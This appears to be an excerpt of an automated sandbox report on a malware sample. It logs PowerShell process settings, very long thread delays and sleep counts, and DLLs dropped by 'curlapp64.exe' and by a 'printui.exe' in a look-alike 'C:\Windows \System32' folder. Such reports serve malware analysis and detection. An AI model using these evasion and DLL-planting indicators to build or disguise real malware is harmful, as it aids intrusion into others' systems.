Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6418	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3361	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7285
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2371
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7849
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1680
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8087
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 963
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7750
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 487
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7768
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1725
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7910
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1550
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8123
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1391
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7423
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 969
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7503
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1668
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6538
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3156
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7013
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2590
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8674
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 854

Source: C:\Windows \System32\printui.exe	Dropped PE file which has not been started: C:\Windows\System32\vcruntime140d.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	Dropped PE file which has not been started: C:\Windows\System32\ucrtbased.dll	Jump to dropped file
Source: C:\Users\user\Desktop\curlapp64.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\prnttemp.dll	Jump to dropped file

Source: C:\Users\user\Desktop\curlapp64.exe	API coverage: 6.5 %
Source: C:\Windows\System32\svchost.exe	API coverage: 1.1 %

Source: C:\Windows\System32\timeout.exe TID: 6756	Thread sleep count: 84 > 30	Jump to behavior
Source: C:\Windows\System32\timeout.exe TID: 5324	Thread sleep count: 84 > 30	Jump to behavior
Source: C:\Windows\System32\timeout.exe TID: 2360	Thread sleep count: 89 > 30	Jump to behavior
Source: C:\Windows\System32\timeout.exe TID: 2780	Thread sleep count: 85 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4296	Thread sleep count: 6418 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4296	Thread sleep count: 3361 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4304	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1816	Thread sleep count: 7285 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2232	Thread sleep count: 2371 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1084	Thread sleep time: -7378697629483816s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 5648	Thread sleep time: -60000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3396	Thread sleep count: 7849 > 30
